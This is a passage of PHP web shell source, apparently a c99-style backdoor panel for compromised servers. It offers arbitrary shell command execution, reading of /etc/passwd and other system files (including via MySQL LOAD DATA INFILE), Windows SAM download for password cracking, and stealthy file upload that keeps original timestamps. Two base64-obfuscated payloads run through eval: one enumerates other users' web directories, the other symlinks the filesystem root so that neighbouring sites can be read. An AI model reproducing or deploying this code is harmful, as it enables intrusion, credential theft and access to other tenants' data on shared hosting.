type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
if (!empty($sql_x)) {
echo "<hr size=\"1\" noshade>";
if ($sql_x == "newdb") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
if ($sql_x == "serverstatus") {
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server-status variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_x == "servervars") {
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_x == "processes") {
if (!empty($kill)) {
$query = "KILL ".$kill.";";
$result = mysql_query($query, $sql_sock);
echo "<b>Process #".$kill." was killed.</b>";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_x == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
else
{
for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb);
}
}
}
}
echo "</td></tr></table>";
if ($sql_sock) {
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>";
}
if ($x == "phpinfo") {@ob_clean(); phpinfo(); jalanGexit();}
if ($x == "security") {
echo "<div class=barheader>.: Server Security Information :.</div>".
"<table>".
"<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
echo "<td>Password File</td><td>";
if (!$win) {
if ($nixpasswd) {
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "*nix /etc/passwd:<br>";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
$i = $nixpwd_s;
while ($i < $nixpwd_e) {
$uid = posix_getpwuid($i);
if ($uid) {
$uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
echo join(":",$uid)."<br>";
}
$i++;
}
}
else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
}
else {
$v = $_SERVER["WINDIR"]."
epair\sam";
if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."
epair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
}
echo "</td></tr>";
echo "<tr><td>Config Files</td><td>";
if (!$win) {
$v = array(
array("User Domains","/etc/userdomains"),
array("Cpanel Config","/var/cpanel/accounting.log"),
array("Apache Config","/usr/local/apache/conf/httpd.conf"),
array("Apache Config","/etc/httpd.conf"),
array("Syslog Config","/etc/syslog.conf"),
array("Message of The Day","/etc/motd"),
array("Hosts","/etc/hosts")
);
$sep = "/";
}
else {
$windir = $_SERVER["WINDIR"];
$etcdir = $windir . "\system32\drivers\etc\";
$v = array(
array("Hosts",$etcdir."hosts"),
array("Local Network Map",$etcdir."networks"),
array("LM Hosts",$etcdir."lmhosts.sam"),
);
$sep = "\";
}
foreach ($v as $sec_arr) {
$sec_f = substr(strrchr($sec_arr[1], $sep), 1);
$sec_d = rtrim($sec_arr[1],$sec_f);
$sec_full = $sec_d.$sec_f;
$sec_d = rtrim($sec_d,$sep);
if (file_get_contents($sec_full)) {
echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
}
}
echo "</td></tr>";
function displaysecinfo($name,$value) {
if (!empty($value)) {
echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
}
}
if (!$win) {
displaysecinfo("OS Version",myshellexec("cat /proc/version"));
displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
displaysecinfo("Distrib Name",myshellexec("cat /etc/issue"));
displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/issue.rpmnew"));
displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
displaysecinfo("RAM",myshellexec("free -m"));
displaysecinfo("HDD Space",myshellexec("df -h"));
displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
displaysecinfo("cURL installed?",myshellexec("which curl"));
displaysecinfo("lynx installed?",myshellexec("which lynx"));
displaysecinfo("links installed?",myshellexec("which links"));
displaysecinfo("fetch installed?",myshellexec("which fetch"));
displaysecinfo("GET installed?",myshellexec("which GET"));
displaysecinfo("perl installed?",myshellexec("which perl"));
displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
displaysecinfo("Where is perl?",myshellexec("whereis perl"));
displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
}
else {
displaysecinfo("OS Version",myshellexec("ver"));
displaysecinfo("Account Settings",myshellexec("net accounts"));
}
echo "</table>
";
}
if ($x == "jump") {
$ngipmuj = base64_decode("YmFyX2hlYWRlcigiLjogSnVtcGluZyA6LiIpOw0KCSgkc20gPSBpbmlfZ2V0KCdzYWZlX21vZGUnKSA9PSAwKSA/ICRzbSA9ICdvZmYnOiBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5FcnJvcjogU2FmZV9tb2RlID0gT248L2I+PC9mb250PicpOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQpAJHBhc3N3ZCA9IGZvcGVuKCcvZXRjL3Bhc3N3ZCcsJ3InKTsNCmlmICghJHBhc3N3ZCkgeyBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5bLV0gRXJyb3IgOiBDb3VkbmB0IFJlYWQgL2V0Yy9wYXNzd2Q8L2I+PC9mb250PicpOyB9DQokcHViID0gYXJyYXkoKTsNCiR1c2VycyA9IGFycmF5KCk7DQokY29uZiA9IGFycmF5KCk7DQokaSA9IDA7DQp3aGlsZSghZmVvZigkcGFzc3dkKSkNCnsNCiRzdHIgPSBmZ2V0cygkcGFzc3dkKTsNCmlmICgkaSA+IDEwMCkNCnsNCiAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7DQogICR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7DQogICRkaXJ6ID0gJy9ob21lLycuJHVzZXJuYW1lLicvcHVibGljX2h0bWwvJzsNCiAgaWYgKCgkdXNlcm5hbWUgIT0gJycpKQ0KICB7DQogICBpZiAoaXNfcmVhZGFibGUoJGRpcnopKQ0KICAgew0KICAgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7DQogICAgYXJyYXlfcHVzaCgkcHViLCRkaXJ6KTsNCiAgIH0NCiAgfQ0KICAgfQ0KJGkrKzsNCn0NCmVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz48YnI+Wy1dPT09PT09PT09PT09PT09PT09WyBTVEFSVCBdPT09PT09PT09PT09PT09PT09Wy1dICA8YnI+PC9mb250PlxuIjsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikNCnsNCmVjaG8gIjxmb250IHNpemU9JzMnIGNvbG9yPScjZWUwODA4JyBmYWNlPSdDYWxpYnJpJz4gWytdIC9ob21lLyR1c2VyL3B1YmxpY19odG1sLzwvZm9udD48YnIvPiI7DQp9DQplY2hvICJcbiA8Zm9udCBzaXplPSczJyBjb2xvcj0nIzAwODA4MCcgZmFjZT0nQ2FsaWJyaSc+PGJyPlstXT09PT09PT09PT09PT09PT09PVsgRklOSVNIIF09PT09PT09PT09PT09PT09PT1bLV0gPGJyPjwvZm9udD5cbiI7DQplY2hvICJcbiA8Zm9udCBzaXplPScyJyBjb2xvcj0nIzgwMDAwMCcgZmFjZT0nQ2FsaWJyaSc+SnVtcGluZyBTY2FubmVyIGlzIENvbXBsZXRlZCE8L2ZvbnQ+XG4iOw==");
eval ($ngipmuj);
}
if ($x == "sym") {
$knilmys = base64_decode("QHNldF90aW1lX2xpbWl0KDApOw0KJHJ4MSA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRyeDIgPWV4cGxvZGUoJy8nLCRyeDEgKTsNCiRyeDEgPXN0cl9yZXBsYWNlKCRyeDJbY291bnQoJHJ4MiktMV0sJycsJHJ4MSApOw0KDQpAbWtkaXIoJ3N5bScsMDc3Nyk7DQokcngxICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQokcngyID1AZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpOw0KZndyaXRlKCRyeDIgLCRyeDEpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KaWYoaXNzZXQoJF9SRVFVRVNUWyd4J10pKQ0Kew0Kc3dpdGNoICgkX1JFUVVFU1RbJ3gnXSkNCnsNCmNhc2UgJ3N5bSc6DQokcng0ID0gQGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOw0KaWYoISRyeDQpDQp7DQpkaWUgKCIgY2FuJ3QgcmVhZCAvZXRjL25hbWVkLmNvbmYiKTsNCn0NCmVsc2UNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+PHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnPjx0ZD5Eb21haW5zPC90ZD48dGQ+VXNlcnM8L3RkPjx0ZD5TeW1saW5rIDwvdGQ+IjsNCmZvcmVhY2goJHJ4NCBhcyAkcng1KXsNCmlmKGVyZWdpKCd6b25lJywkcng1KSl7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsJHJ4NSwkcng2KTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkcng2WzFdWzBdKSkgPjIpew0KJHJ4NyA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kcng2WzFdWzBdKSk7DQokcng4ID0gJHJ4N1snbmFtZSddIDsNCkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiRyeDggPSAkcng2WzFdWzBdOw0KJHJ4OSA9ICdcLmlyJzsNCiRyeDEwID0gJ1wuaWwnOw0KaWYgKGVyZWdpKCIkcng5Iiwkcng2WzFdWzBdKSBvciBlcmVnaSgiJHJ4MTAiLCRyeDZbMV1bMF0pICkNCnsNCiRyeDggPSAiPGRpdiBzdHlsZT0nIGNvbG9yOiAjRkYwMDAwIDsgdGV4dC1zaGFkb3c6IDBweCAwcHggMXB4IHJlZDsgJz4iLiRyeDZbMV1bMF0uJzwvZGl2Pic7DQp9DQplY2hvICINCjx0cj4NCg0KPHRkPg0KPGRpdiBjbGFzcz0nZG9tJz48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vd3d3LiIuJHJ4NlsxXVswXS4nLz4nLiRyeDguJyA8L2E+IDwvZGl2Pg0KPC90ZD4NCg0KDQo8dGQ+DQonLiRyeDdbJ25hbWUnXS4iDQo8L3RkPg0KDQo8dGQ+DQo8YSBocmVmPSdzeW0vcm9vdC9ob21lLyIuJHJ4N1snbmFtZSddLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjwvdHI+PC9kaXY+ICI7DQpmbHVzaCgpOw0KfQ0KfQ0KfQ0KfQ0KfQ0KfQ==");
eval ($knilmys);
}
if ($x == "mkfile") {
if ($mkfile != $d) {
if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$x = $dspact = "ls";}
}
if ($x == "chmod") {
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
else {
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
}
}
}
if ($x == "upload") {
$uploadmess = "";
$uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
if (!empty($submit)) {
global $_FILES;
$uploadfile = $_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"])) {
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
}
else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
}
elseif (!empty($uploadurl)) {
if (!empty($uploadfilename)) {$destin = $uploadfilename;}
else {
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin)) {
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {
if ($i > 0) {$b = "_".$i;}
$destin = "upload".$b;
$i++;
}
}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
else {
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file!";}
else {
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
else {
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
$uploadmess .= "File saved from ".$uploadurl." !";
}
}
}
}
else { echo "No file to upload!"; }
}
if ($miniform) {
echo "<b>".$uploadmess."</b>";
$x = "ls";
}
else {
echo "<table><tr><td colspan=2 class=barheader>".
".: File Upload :.</td>".
"<td colspan=2>".$uploadmess."</td></tr>".
"<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
"From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
"<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
"<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
"<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
"<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
"<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
"</form></td></tr></table>";
}
}
if ($x == "delete") {
$delerr = "";
foreach ($actbox as $v) {
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
$x = "ls";
}
if (!$usefsbuff) {
if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
}
else {
if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$x = "ls";
}
elseif ($actarcbuff) {
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v) {
$v = str_replace("\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v)) {
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("
","
",$ret);
$ret = explode("
",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v) {
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$x = "ls";
}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$x = "ls";
}
}
if ($x == "cmd") {
@chdir($chdir);
if (!empty($submit)) {
echo "<div class=barheader>.: Result of Command Execution :.</div>";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt) {
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10; }
if ($msie) { $cols = 113; }
else { $cols = 117;}
echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
}
else {echo $ret."<br>";}
@chdir($olddir);
}
else {
echo "<b>Command Execution</b>";
if (empty($cmd_txt)) {$cmd_txt = TRUE;}
}
}
if ($x == "ls") {
if (count($ls_arr) > 0) { $list = $ls_arr; }
else {
$list = array();
if ($h = @opendir($d)) {
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
}
if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
else {
$objects = array();
$vd = "f";
if ($vd == "f") {
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v) {
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
elseif (is_dir($v)) {
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win) {
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Name</b>";
$row[] = "<b>Size</b>";
$row[] = "<b>Date Modified</b>";
if (!$win) {$row[] = "<b>Owner/Group</b>";}
$row[] = "<b>Perms</b>";
$row[] = "<b>Action</b>";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
$y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++) {
if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d") {
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a) {
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r) {
if (ereg($r[0],$o)) {
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; jalanGexit();}
else {
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".") {
$row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> ".$o."</a>";
$row[] = "CURDIR";
}
elseif ($o == "..") {
$row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
$row[] = "UPDIR";
}
elseif (is_dir($v)) {
if (is_link($v)) {
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
}
else {
$type = "DIR";
$row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v)) {
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
